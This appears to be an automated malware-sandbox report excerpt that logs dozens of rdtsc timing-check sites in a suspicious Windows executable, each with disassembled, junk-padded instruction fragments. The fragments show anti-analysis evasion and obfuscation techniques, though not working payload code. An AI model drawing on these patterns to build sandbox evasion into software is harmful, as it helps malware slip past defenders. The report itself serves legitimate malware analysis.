Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37D81F second address: 37D8B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a clc 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007EFC34FBCDF8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c pushad 0x0000002d add edx, 37674F4Bh 0x00000033 push ebx 0x00000034 mov cl, 75h 0x00000036 pop ecx 0x00000037 popad 0x00000038 or di, E700h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 and bl, 00000008h 0x00000047 mov eax, dword ptr [ebp+122D13A9h] 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007EFC34FBCDF8h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 00000015h 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 mov edi, dword ptr [ebp+122D3B46h] 0x0000006d push FFFFFFFFh 0x0000006f add dword ptr [ebp+122D33A6h], edx 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007EFC34FBCE03h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38068A second address: 380690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 380690 second address: 380694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37E72D second address: 37E79C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a sub bh, 00000025h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007EFC34B89E98h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov bx, cx 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jns 00007EFC34B89E99h 0x0000003e mov eax, dword ptr [ebp+122D10F1h] 0x00000044 mov ebx, dword ptr [ebp+122D39FEh] 0x0000004a push FFFFFFFFh 0x0000004c mov ebx, dword ptr [ebp+12480736h] 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007EFC34B89E9Fh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3825E9 second address: 3825ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3825ED second address: 3825F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3807F7 second address: 3807FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3836A9 second address: 383771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007EFC34B89EA2h 0x00000010 nop 0x00000011 call 00007EFC34B89E9Eh 0x00000016 cmc 0x00000017 pop ebx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f jmp 00007EFC34B89EA9h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007EFC34B89E98h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 mov di, dx 0x00000048 mov eax, dword ptr [ebp+122D0A31h] 0x0000004e sub ebx, dword ptr [ebp+1245D465h] 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push ebx 0x00000059 call 00007EFC34B89E98h 0x0000005e pop ebx 0x0000005f mov dword ptr [esp+04h], ebx 0x00000063 add dword ptr [esp+04h], 00000017h 0x0000006b inc ebx 0x0000006c push ebx 0x0000006d ret 0x0000006e pop ebx 0x0000006f ret 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 jnp 00007EFC34B89E9Ch 0x00000079 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 386430 second address: 386435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 386435 second address: 3864D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007EFC34B89EA1h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007EFC34B89E98h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+122D34B6h] 0x0000002e pushad 0x0000002f mov cl, 3Eh 0x00000031 pushad 0x00000032 mov dword ptr [ebp+12455E19h], ebx 0x00000038 add bh, 00000040h 0x0000003b popad 0x0000003c popad 0x0000003d push 00000000h 0x0000003f je 00007EFC34B89E9Ah 0x00000045 mov di, 7225h 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007EFC34B89E98h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 0000001Bh 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 jmp 00007EFC34B89EA7h 0x0000006a push eax 0x0000006b pushad 0x0000006c push edi 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3864D3 second address: 3864DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3855B4 second address: 385649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jno 00007EFC34B89EACh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007EFC34B89E98h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov ebx, dword ptr [ebp+122D331Eh] 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d cld 0x0000003e mov eax, dword ptr [ebp+122D0025h] 0x00000044 mov edi, dword ptr [ebp+122D2275h] 0x0000004a push FFFFFFFFh 0x0000004c mov bx, C461h 0x00000050 sub edi, dword ptr [ebp+122D3A96h] 0x00000056 nop 0x00000057 jmp 00007EFC34B89EA9h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 385649 second address: 38564D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38564D second address: 385669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 385669 second address: 38566E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38B463 second address: 38B467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38B467 second address: 38B475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007EFC34FBCDFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38B475 second address: 38B47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38B47D second address: 38B492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCE01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38F5CC second address: 38F5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38F5E7 second address: 38F5EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38F5EB second address: 38F62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007EFC34B89EA4h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFC34B89EA0h 0x00000016 jmp 00007EFC34B89EA2h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38F62D second address: 38F631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38FA1D second address: 38FA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007EFC34B89E98h 0x0000000d pushad 0x0000000e jng 00007EFC34B89E96h 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007EFC34B89E96h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 38FA42 second address: 38FA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39520A second address: 395244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007EFC34B89E96h 0x0000000d jmp 00007EFC34B89EA1h 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007EFC34B89EA2h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3952DD second address: 3952E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3952E1 second address: 3952E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3952E5 second address: 3952EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3952EB second address: 3952F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3952F9 second address: 395307 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007EFC34FBCDFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 395307 second address: 395317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 395317 second address: 39531C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39531C second address: 395341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC34B89E9Bh 0x00000008 jng 00007EFC34B89E96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 jnl 00007EFC34B89E96h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 395341 second address: 395356 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC34FBCE00h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 395356 second address: 39536F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFC34B89E9Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39A56F second address: 39A575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39A575 second address: 39A57F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC34B89E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 399939 second address: 39993F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39993F second address: 399944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 399D8D second address: 399DA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39F42B second address: 39F449 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFC34B89EB0h 0x00000008 jmp 00007EFC34B89EA4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39F744 second address: 39F748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39FB82 second address: 39FB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39FB88 second address: 39FB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39FB8D second address: 39FBC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA6h 0x00000007 pushad 0x00000008 jmp 00007EFC34B89EA9h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 39FCEE second address: 39FCFF instructions: 0x00000000 rdtsc 0x00000002 js 00007EFC34FBCDFCh 0x00000008 jg 00007EFC34FBCDF6h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9F60 second address: 3A9F69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32A86C second address: 32A874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32A874 second address: 32A89E instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFC34B89E96h 0x00000008 jmp 00007EFC34B89EA8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007EFC34B89EABh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 372C4F second address: 372C5D instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFC34FBCDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 372C5D second address: 372C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 372E75 second address: 372EA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c jmp 00007EFC34FBCDFEh 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3731EE second address: 3731F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3731F3 second address: 3731F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3731F9 second address: 373237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007EFC34B89E9Dh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push ecx 0x00000017 jnc 00007EFC34B89E9Ch 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373237 second address: 373240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3735CC second address: 3735D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3735D1 second address: 37364B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007EFC34FBCE04h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d jp 00007EFC34FBCDF8h 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007EFC34FBCDF8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dl, DFh 0x00000031 mov edi, 58BF63E6h 0x00000036 push 00000004h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007EFC34FBCDF8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 nop 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 push esi 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373B08 second address: 373B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D306Ah], esi 0x0000000f push 0000001Eh 0x00000011 mov cl, 29h 0x00000013 pushad 0x00000014 mov edi, dword ptr [ebp+122D31EEh] 0x0000001a jnl 00007EFC34B89E9Ch 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007EFC34B89EA5h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373E6C second address: 373EB1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFC34FBCDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e lea eax, dword ptr [ebp+1248DA1Ch] 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007EFC34FBCDF8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e or cx, 0321h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373EB1 second address: 373F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC34B89E9Ch 0x00000008 jnp 00007EFC34B89E96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push edx 0x00000015 adc edx, 50241AB7h 0x0000001b pop edx 0x0000001c lea eax, dword ptr [ebp+1248D9D8h] 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007EFC34B89E98h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007EFC34B89EA4h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373F11 second address: 373F17 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373F17 second address: 373F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373F1D second address: 373F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373F21 second address: 373F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFC34B89EA7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373F44 second address: 373F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A901B second address: 3A901F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A901F second address: 3A9041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007EFC34FBCE06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9177 second address: 3A9199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jmp 00007EFC34B89EA0h 0x0000000e pushad 0x0000000f jc 00007EFC34B89E96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
